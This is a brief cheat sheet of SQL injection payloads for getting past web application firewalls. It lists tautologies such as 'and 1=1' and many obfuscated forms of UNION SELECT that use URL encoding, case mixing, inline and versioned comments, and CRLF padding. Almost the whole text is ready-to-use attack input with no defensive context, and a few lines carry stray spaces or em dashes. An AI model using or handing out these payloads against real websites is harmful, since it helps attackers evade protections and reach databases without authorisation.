SQLi WAF bypassing

 bypass 403 and 406 and ....

and

and 1=1
and 1%3d1
AND 1+like+1
AND 0x75%3d0x75
and 1<5

union select

union+select+1
unIOn+seLect+1
UNION%20SELECT%201
union - select word
union/**/select/**/1
/*!union*/select+1
%75nion+select+1
/*!union*//*!select*/+1
%75nion+%73elect+1


UNION
-----------------------
id=1+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+1,2 ,3—

id=1+UnIOn%0d%0aSeleCt%0d%0a1,2,3—

Id=1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C1,2,3—

/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/ 1,2,3--

Id=1/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/ 1,2,3—
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